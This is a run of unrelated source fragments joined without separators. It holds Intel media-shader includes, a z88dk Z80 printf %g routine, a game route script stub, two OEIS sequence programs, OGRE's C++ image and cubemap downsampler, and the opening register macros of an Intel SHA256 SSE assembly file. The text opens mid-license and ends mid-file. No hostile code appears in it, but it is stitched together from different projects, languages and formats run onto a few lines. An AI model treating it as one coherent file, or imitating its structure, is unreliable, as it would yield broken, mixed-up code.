You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ //---------- PA_AVS_IEF_8x8.asm ---------- #include "AVS_IEF.inc" //------------------------------------------------------------------------------ // 2 sampler reads for 8x8 YUV packed //------------------------------------------------------------------------------ #include "PA_AVS_IEF_Sample.asm" //------------------------------------------------------------------------------ // Unpacking sampler data to 4:2:2 internal planar //------------------------------------------------------------------------------ #include "PA_AVS_IEF_Unpack_8x8.asm" //------------------------------------------------------------------------------
SECTION code_stdio PUBLIC __stdio_printf_g EXTERN __dtog__, __stdio_printf_float_tail __stdio_printf_g: ; %g, %G converter called from vfprintf() ; ; enter : ix = FILE * ; hl = void *stack_param ; de = void *buffer_digits ; hl'= current output tally ; stack = buffer_digits, width, precision ; ; exit : carry set if stream error ; ; NOTE: (buffer_digits - 3) points at buffer space of three free bytes ; snprintf requires bc',de' to be preserved pop bc ; bc = precision ex (sp),hl ; hl = width exx ex (sp),hl ; save tally, hl = stack_param * push de ; save snprintf variable push bc ; save snprintf variable ex de,hl ld hl,-65 add hl,sp ld sp,hl ex de,hl push ix IF __SDCC | __SDCC_IX | SDCC_IY EXTERN dload call dload ; exx set = double x ELSE EXTERN dread1b call dread1b ; exx set = double x ENDIF ; exx occurred push hl ; save width ex de,hl ; hl = void *buffer_digits ld e,c ld d,b ; de = precision ; de = precision ; hl = buffer * ; ix = FILE * ; exx = double x ; stack = buffer_digits, tally, de', bc', BUFFER_65, FILE *, width ld c,(ix+5) ; c = printf flags bit 0,c jr nz, prec_defined ld de,6 ; default precision is six prec_defined: call __dtog__ ; generate hexadecimal string ; bc = workspace length ; de = workspace * ; stack = buffer_digits, tally, de', bc', BUFFER_65, FILE *, width ; ; (IX-6) = flags, bit 7 = 'N', bit 4 = '#', bit 0 = precision==0 ; (IX-5) = iz (number of zeroes to insert before .) ; (IX-4) = fz (number of zeroes to insert after .) ; (IX-3) = tz (number of zeroes to append) ; (IX-2) = ignore ; (IX-1) = '0' marks start of buffer ; ; carry set = special form just output buffer with sign jp __stdio_printf_float_tail
Route7_Script: jp EnableAutoTextBoxDrawing Route7_TextPointers: dw Route7Text1 Route7Text1: text_far _Route7Text1 text_end
; A080856: a(n) = 8*n^2 - 4*n + 1. ; 1,5,25,61,113,181,265,365,481,613,761,925,1105,1301,1513,1741,1985,2245,2521,2813,3121,3445,3785,4141,4513,4901,5305,5725,6161,6613,7081,7565,8065,8581,9113,9661,10225,10805,11401,12013,12641,13285,13945,14621,15313,16021,16745,17485,18241,19013,19801,20605,21425,22261,23113,23981,24865,25765,26681,27613,28561,29525,30505,31501,32513,33541,34585,35645,36721,37813,38921,40045,41185,42341,43513,44701,45905,47125,48361,49613,50881,52165,53465,54781,56113,57461,58825,60205,61601,63013,64441,65885 mul $0,2 bin $0,2 mul $0,4 add $0,1
; A125837: Numbers whose base 8 or octal representation is 6666666......6. ; 0,6,54,438,3510,28086,224694,1797558,14380470,115043766,920350134,7362801078,58902408630,471219269046,3769754152374,30158033218998,241264265751990,1930114126015926,15440913008127414,123527304065019318,988218432520154550,7905747460161236406,63245979681289891254,505967837450319130038,4047742699602553040310,32381941596820424322486,259055532774563394579894,2072444262196507156639158,16579554097572057253113270,132636432780576458024906166,1061091462244611664199249334,8488731697956893313593994678 mov $1,8 pow $1,$0 div $1,7 mul $1,6 mov $0,$1
/* ----------------------------------------------------------------------------- This source file is part of OGRE (Object-oriented Graphics Rendering Engine) For the latest info, see http://www.ogre3d.org/ Copyright (c) 2000-2014 Torus Knot Software Ltd Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------------- */ #include "OgreStableHeaders.h" #ifndef ITERATING #include "OgreVector3.h" #include "OgreMatrix3.h" #include "OgreImageDownsampler.h" namespace Ogre { struct CubemapUVI { Real u; Real v; int face; }; enum MajorAxis { MajorAxisX, MajorAxisY, MajorAxisZ, }; struct FaceComponents { uint8 uIdx; uint8 vIdx; Real uSign; Real vSign; FaceComponents( uint8 _uIdx, uint8 _vIdx, Real _uSign, Real _vSign ) : uIdx( _uIdx ), vIdx( _vIdx ), uSign( _uSign ), vSign( _vSign ) { } }; const FaceComponents c_faceComponents[6] = { FaceComponents( 2, 1, -0.5f, -0.5f ), FaceComponents( 2, 1, 0.5f, -0.5f ), FaceComponents( 0, 2, 0.5f, 0.5f ), FaceComponents( 0, 2, 0.5f, -0.5f ), FaceComponents( 0, 1, 0.5f, -0.5f ), FaceComponents( 0, 1, -0.5f, -0.5f ) }; struct FaceSwizzle { int8 iX, iY, iZ; Real signX, signY, signZ; FaceSwizzle( int8 _iX, int8 _iY, int8 _iZ, Real _signX, Real _signY, Real _signZ ) : iX( _iX ), iY( _iY ), iZ( _iZ ), signX( _signX ), signY( _signY ), signZ( _signZ ) {} }; static const FaceSwizzle c_faceSwizzles[6] = { FaceSwizzle( 2, 1, 0, 1, 1, -1 ), FaceSwizzle( 2, 1, 0, -1, 1, 1 ), FaceSwizzle( 0, 2, 1, 1, 1, -1 ), FaceSwizzle( 0, 2, 1, 1, -1, 1 ), FaceSwizzle( 0, 1, 2, 1, 1, 1 ), FaceSwizzle( 0, 1, 2, -1, 1, -1 ), }; inline CubemapUVI cubeMapProject( Vector3 vDir ) { CubemapUVI uvi; Vector3 absDir = Vector3( fabsf( vDir.x ), fabsf( vDir.y ), fabsf( vDir.z ) ); bool majorX = (absDir.x >= absDir.y) & (absDir.x >= absDir.z); bool majorY = (absDir.y >= absDir.x) & (absDir.y >= absDir.z); bool majorZ = (absDir.z >= absDir.x) & (absDir.z >= absDir.y); Real fNorm; MajorAxis majorAxis; majorAxis = majorX ? MajorAxisX : MajorAxisY; fNorm = majorX ? absDir.x : absDir.y; majorAxis = majorY ? MajorAxisY : majorAxis; fNorm = majorY ? absDir.y : fNorm; majorAxis = majorZ ? MajorAxisZ : majorAxis; fNorm = majorZ ? absDir.z : fNorm; const Real *fDirs = vDir.ptr(); uvi.face = fDirs[majorAxis] >= 0 ? majorAxis * 2 : majorAxis * 2 + 1; fNorm = 1.0f / fNorm; uvi.u = c_faceComponents[uvi.face].uSign * fDirs[c_faceComponents[uvi.face].uIdx] * fNorm + 0.5f; uvi.v = c_faceComponents[uvi.face].vSign * fDirs[c_faceComponents[uvi.face].vIdx] * fNorm + 0.5f; return uvi; } const FilterKernel c_filterKernels[3] = { { //Point { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, 0, 0, 0, 0 }, { //Linear { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0 }, 0, 1, 0, 1 }, { //Gaussian { 1, 4, 7, 4, 1, 4, 16, 26, 16, 4, 7, 26, 41, 26, 7, 4, 16, 26, 16, 4, 1, 4, 7, 4, 1 }, -2, 2, -2, 2 } }; } #define OGRE_GAM_TO_LIN( x ) x #define OGRE_LIN_TO_GAM( x ) x #define OGRE_UINT8 uint8 #define OGRE_UINT32 uint32 #define ITERATING #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_DOWNSAMPLE_A 3 #define OGRE_TOTAL_SIZE 4 #define DOWNSAMPLE_NAME downscale2x_XXXA8888 #define DOWNSAMPLE_CUBE_NAME downscale2x_XXXA8888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_TOTAL_SIZE 3 #define DOWNSAMPLE_NAME downscale2x_XXX888 #define DOWNSAMPLE_CUBE_NAME downscale2x_XXX888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_XX88 #define DOWNSAMPLE_CUBE_NAME downscale2x_XX88_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_X8 #define DOWNSAMPLE_CUBE_NAME downscale2x_X8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_A8 #define DOWNSAMPLE_CUBE_NAME downscale2x_A8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_A 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_XA88 #define DOWNSAMPLE_CUBE_NAME downscale2x_XA88_cube #include "OgreImageDownsampler.cpp" //----------------------------------------------------------------------------------- //Signed versions //----------------------------------------------------------------------------------- #undef OGRE_UINT8 #undef OGRE_UINT32 #define OGRE_UINT8 int8 #define OGRE_UINT32 int32 #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_DOWNSAMPLE_A 3 #define OGRE_TOTAL_SIZE 4 #define DOWNSAMPLE_NAME downscale2x_Signed_XXXA8888 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_XXXA8888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_TOTAL_SIZE 3 #define DOWNSAMPLE_NAME downscale2x_Signed_XXX888 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_XXX888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_Signed_XX88 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_XX88_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_Signed_X8 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_X8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_Signed_A8 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_A8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_A 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_Signed_XA88 #define DOWNSAMPLE_CUBE_NAME downscale2x_Signed_XA88_cube #include "OgreImageDownsampler.cpp" //----------------------------------------------------------------------------------- //Float32 versions //----------------------------------------------------------------------------------- #undef OGRE_UINT8 #undef OGRE_UINT32 #define OGRE_UINT8 float #define OGRE_UINT32 float #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_DOWNSAMPLE_A 3 #define OGRE_TOTAL_SIZE 4 #define DOWNSAMPLE_NAME downscale2x_Float32_XXXA #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_XXXA_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_TOTAL_SIZE 3 #define DOWNSAMPLE_NAME downscale2x_Float32_XXX #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_XXX_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_Float32_XX #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_XX_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_Float32_X #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_X_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_Float32_A #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_A_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_A 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_Float32_XA #define DOWNSAMPLE_CUBE_NAME downscale2x_Float32_XA_cube #include "OgreImageDownsampler.cpp" //----------------------------------------------------------------------------------- //sRGB versions //----------------------------------------------------------------------------------- #undef OGRE_GAM_TO_LIN #undef OGRE_LIN_TO_GAM #define OGRE_GAM_TO_LIN( x ) x * x #define OGRE_LIN_TO_GAM( x ) sqrtf( x ) #undef OGRE_UINT8 #undef OGRE_UINT32 #define OGRE_UINT8 uint8 #define OGRE_UINT32 uint32 #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_DOWNSAMPLE_A 3 #define OGRE_TOTAL_SIZE 4 #define DOWNSAMPLE_NAME downscale2x_sRGB_XXXA8888 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_XXXA8888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_DOWNSAMPLE_R 1 #define OGRE_DOWNSAMPLE_G 2 #define OGRE_DOWNSAMPLE_B 3 #define OGRE_TOTAL_SIZE 4 #define DOWNSAMPLE_NAME downscale2x_sRGB_AXXX8888 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_AXXX8888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_DOWNSAMPLE_B 2 #define OGRE_TOTAL_SIZE 3 #define DOWNSAMPLE_NAME downscale2x_sRGB_XXX888 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_XXX888_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_G 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_sRGB_XX88 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_XX88_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_sRGB_X8 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_X8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_TOTAL_SIZE 1 #define DOWNSAMPLE_NAME downscale2x_sRGB_A8 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_A8_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_R 0 #define OGRE_DOWNSAMPLE_A 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_sRGB_XA88 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_XA88_cube #include "OgreImageDownsampler.cpp" #define OGRE_DOWNSAMPLE_A 0 #define OGRE_DOWNSAMPLE_R 1 #define OGRE_TOTAL_SIZE 2 #define DOWNSAMPLE_NAME downscale2x_sRGB_AX88 #define DOWNSAMPLE_CUBE_NAME downscale2x_sRGB_AX88_cube #include "OgreImageDownsampler.cpp" #undef OGRE_GAM_TO_LIN #undef OGRE_LIN_TO_GAM #else namespace Ogre { void DOWNSAMPLE_NAME( uint8 *_dstPtr, uint8 const *_srcPtr, int32 dstWidth, int32 dstHeight, int32 srcWidth, const uint8 kernel[5][5], const int8 kernelStartX, const int8 kernelEndX, const int8 kernelStartY, const int8 kernelEndY ) { OGRE_UINT8 *dstPtr = reinterpret_cast<OGRE_UINT8*>( _dstPtr ); OGRE_UINT8 const *srcPtr = reinterpret_cast<OGRE_UINT8 const *>( _srcPtr ); for( int32 y=0; y<dstHeight; ++y ) { for( int32 x=0; x<dstWidth; ++x ) { int kStartY = std::max<int>( -y, kernelStartY ); int kEndY = std::min<int>( dstHeight - y, kernelEndY ); #ifdef OGRE_DOWNSAMPLE_R OGRE_UINT32 accumR = 0; #endif #ifdef OGRE_DOWNSAMPLE_G OGRE_UINT32 accumG = 0; #endif #ifdef OGRE_DOWNSAMPLE_B OGRE_UINT32 accumB = 0; #endif #ifdef OGRE_DOWNSAMPLE_A OGRE_UINT32 accumA = 0; #endif uint32 divisor = 0; for( int k_y=kStartY; k_y<=kEndY; ++k_y ) { int kStartX = std::max<int>( -x, kernelStartX ); int kEndX = std::min<int>( dstWidth - 1 - x, kernelEndX ); for( int k_x=kStartX; k_x<=kEndX; ++k_x ) { uint32 kernelVal = kernel[k_y+2][k_x+2]; #ifdef OGRE_DOWNSAMPLE_R OGRE_UINT32 r = srcPtr[(k_y * srcWidth + k_x) * OGRE_TOTAL_SIZE + OGRE_DOWNSAMPLE_R]; accumR += OGRE_GAM_TO_LIN( r ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_G OGRE_UINT32 g = srcPtr[(k_y * srcWidth + k_x) * OGRE_TOTAL_SIZE + OGRE_DOWNSAMPLE_G]; accumG += OGRE_GAM_TO_LIN( g ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_B OGRE_UINT32 b = srcPtr[(k_y * srcWidth + k_x) * OGRE_TOTAL_SIZE + OGRE_DOWNSAMPLE_B]; accumB += OGRE_GAM_TO_LIN( b ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_A OGRE_UINT32 a = srcPtr[(k_y * srcWidth + k_x) * OGRE_TOTAL_SIZE + OGRE_DOWNSAMPLE_A]; accumA += a * kernelVal; #endif divisor += kernelVal; } } #if defined( OGRE_DOWNSAMPLE_R ) || defined( OGRE_DOWNSAMPLE_G ) || defined( OGRE_DOWNSAMPLE_B ) float invDivisor = 1.0f / divisor; #endif #ifdef OGRE_DOWNSAMPLE_R dstPtr[OGRE_DOWNSAMPLE_R] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumR * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_G dstPtr[OGRE_DOWNSAMPLE_G] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumG * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_B dstPtr[OGRE_DOWNSAMPLE_B] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumB * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_A dstPtr[OGRE_DOWNSAMPLE_A] = static_cast<OGRE_UINT8>( (accumA + divisor - 1u) / divisor ); #endif dstPtr += OGRE_TOTAL_SIZE; srcPtr += OGRE_TOTAL_SIZE * 2; } srcPtr += (srcWidth - dstWidth * 2) * OGRE_TOTAL_SIZE; srcPtr += srcWidth * OGRE_TOTAL_SIZE; } } //----------------------------------------------------------------------------------- void DOWNSAMPLE_CUBE_NAME( uint8 *_dstPtr, uint8 const **_allPtr, int32 dstWidth, int32 dstHeight, int32 srcWidth, int32 srcHeight, const uint8 kernel[5][5], const int8 kernelStartX, const int8 kernelEndX, const int8 kernelStartY, const int8 kernelEndY, uint8 currentFace ) { OGRE_UINT8 *dstPtr = reinterpret_cast<OGRE_UINT8*>( _dstPtr ); OGRE_UINT8 const **allPtr = reinterpret_cast<OGRE_UINT8 const **>( _allPtr ); Quaternion kRotations[5][5]; { Radian xRadStep( Ogre::Math::PI / (srcWidth * 2.0f) ); Radian yRadStep( Ogre::Math::PI / (srcHeight * 2.0f) ); for( int y=kernelStartY; y<=kernelEndY; ++y ) { for( int x=kernelStartX; x<=kernelEndX; ++x ) { Matrix3 m3; m3.FromEulerAnglesXYZ( (Real)-y * yRadStep, (Real)x * xRadStep, Radian( 0 ) ); kRotations[y+2][x+2] = Quaternion( m3 ); } } } const FaceSwizzle &faceSwizzle = c_faceSwizzles[currentFace]; Real invSrcWidth = 1.0f / srcWidth; Real invSrcHeight = 1.0f / srcHeight; OGRE_UINT8 const *srcPtr = 0; for( int32 y=0; y<dstHeight; ++y ) { for( int32 x=0; x<dstWidth; ++x ) { #ifdef OGRE_DOWNSAMPLE_R OGRE_UINT32 accumR = 0; #endif #ifdef OGRE_DOWNSAMPLE_G OGRE_UINT32 accumG = 0; #endif #ifdef OGRE_DOWNSAMPLE_B OGRE_UINT32 accumB = 0; #endif #ifdef OGRE_DOWNSAMPLE_A OGRE_UINT32 accumA = 0; #endif uint32 divisor = 0; Vector3 vForwardSample( (x * 2 + 0.5f) * invSrcWidth * 2.0f - 1.0f, (y * 2 + 0.5f) * invSrcHeight * -2.0f + 1.0f, 1.0f ); for( int k_y=kernelStartY; k_y<=kernelEndY; ++k_y ) { for( int k_x=kernelStartX; k_x<=kernelEndX; ++k_x ) { uint32 kernelVal = kernel[k_y+2][k_x+2]; Vector3 tmp = kRotations[k_y+2][k_x+2] * vForwardSample; Vector3 vSample; vSample.ptr()[0] = tmp.ptr()[faceSwizzle.iX] * faceSwizzle.signX; vSample.ptr()[1] = tmp.ptr()[faceSwizzle.iY] * faceSwizzle.signY; vSample.ptr()[2] = tmp.ptr()[faceSwizzle.iZ] * faceSwizzle.signZ; CubemapUVI uvi = cubeMapProject( vSample ); int iu = std::min( static_cast<int>( floorf( uvi.u * srcWidth ) ), srcWidth - 1 ); int iv = std::min( static_cast<int>( floorf( uvi.v * srcHeight ) ), srcHeight - 1 ); srcPtr = allPtr[uvi.face] + (iv * srcWidth + iu) * OGRE_TOTAL_SIZE; #ifdef OGRE_DOWNSAMPLE_R OGRE_UINT32 r = srcPtr[OGRE_DOWNSAMPLE_R]; accumR += OGRE_GAM_TO_LIN( r ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_G OGRE_UINT32 g = srcPtr[OGRE_DOWNSAMPLE_G]; accumG += OGRE_GAM_TO_LIN( g ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_B OGRE_UINT32 b = srcPtr[OGRE_DOWNSAMPLE_B]; accumB += OGRE_GAM_TO_LIN( b ) * kernelVal; #endif #ifdef OGRE_DOWNSAMPLE_A OGRE_UINT32 a = srcPtr[OGRE_DOWNSAMPLE_A]; accumA += a * kernelVal; #endif divisor += kernelVal; } } #if defined( OGRE_DOWNSAMPLE_R ) || defined( OGRE_DOWNSAMPLE_G ) || defined( OGRE_DOWNSAMPLE_B ) float invDivisor = 1.0f / divisor; #endif #ifdef OGRE_DOWNSAMPLE_R dstPtr[OGRE_DOWNSAMPLE_R] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumR * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_G dstPtr[OGRE_DOWNSAMPLE_G] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumG * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_B dstPtr[OGRE_DOWNSAMPLE_B] = static_cast<OGRE_UINT8>( OGRE_LIN_TO_GAM( accumB * invDivisor ) + 0.5f ); #endif #ifdef OGRE_DOWNSAMPLE_A dstPtr[OGRE_DOWNSAMPLE_A] = static_cast<OGRE_UINT8>( (accumA + divisor - 1u) / divisor ); #endif dstPtr += OGRE_TOTAL_SIZE; } } } } #undef OGRE_DOWNSAMPLE_A #undef OGRE_DOWNSAMPLE_R #undef OGRE_DOWNSAMPLE_G #undef OGRE_DOWNSAMPLE_B #undef DOWNSAMPLE_NAME #undef DOWNSAMPLE_CUBE_NAME #undef OGRE_TOTAL_SIZE #endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2017 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; code to compute 16 SHA256 using SSE ;; %include "reg_sizes.asm" [bits 64] default rel section .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %ifidn __OUTPUT_FORMAT__, elf64 ; Linux %define arg0 rdi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp1 r10 %define tmp2 r11 %define tmp3 r12 ; must be saved and restored %define tmp4 r13 ; must be saved and restored %define tmp5 r14 ; must be saved and restored %define tmp6 r15 ; must be saved and restored %define return rax %define func(x) x: %macro FUNC_SAVE 0 push r12 push r13 push r14 push r15 %endmacro %macro FUNC_RESTORE 0 pop r15 pop r14 pop r13 pop r12 %endmacro %else ; Windows %define arg0 rcx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r10 %define arg5 r11 %define tmp1 r12 ; must be saved and restored %define tmp2 r13 ; must be saved and restored %define tmp3 r14 ; must be saved and restored %define tmp4 r15 ; must be saved and restored %define tmp5 rdi ; must be saved and restored %define tmp6 rsi ; must be saved and restored %define return rax %define stack_size 10*16 + 7*8 ; must be an odd multiple of 8 %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size save_xmm128 xmm6, 0*16 save_xmm128 xmm7, 1*16 save_xmm128 xmm8, 2*16 save_xmm128 xmm9, 3*16 save_xmm128 xmm10, 4*16 save_xmm128 xmm11, 5*16 save_xmm128 xmm12, 6*16 save_xmm128 xmm13, 7*16 save_xmm128 xmm14, 8*16 save_xmm128 xmm15, 9*16 save_reg r12, 10*16 + 0*8 save_reg r13, 10*16 + 1*8 save_reg r14, 10*16 + 2*8 save_reg r15, 10*16 + 3*8 save_reg rdi, 10*16 + 4*8 save_reg rsi, 10*16 + 5*8 end_prolog %endmacro %macro FUNC_RESTORE 0 movdqa xmm6, [rsp + 0*16] movdqa xmm7, [rsp + 1*16] movdqa xmm8, [rsp + 2*16] movdqa xmm9, [rsp + 3*16] movdqa xmm10, [rsp + 4*16] movdqa xmm11, [rsp + 5*16] movdqa xmm12, [rsp + 6*16] movdqa xmm13, [rsp + 7*16] movdqa xmm14, [rsp + 8*16] movdqa xmm15, [rsp + 9*16] mov r12, [rsp + 10*16 + 0*8] mov r13, [rsp + 10*16 + 1*8] mov r14, [rsp + 10*16 + 2*8] mov r15, [rsp + 10*16 + 3*8] mov rdi, [rsp + 10*16 + 4*8] mov rsi, [rsp + 10*16 + 5*8] add rsp, stack_size %endmacro %endif 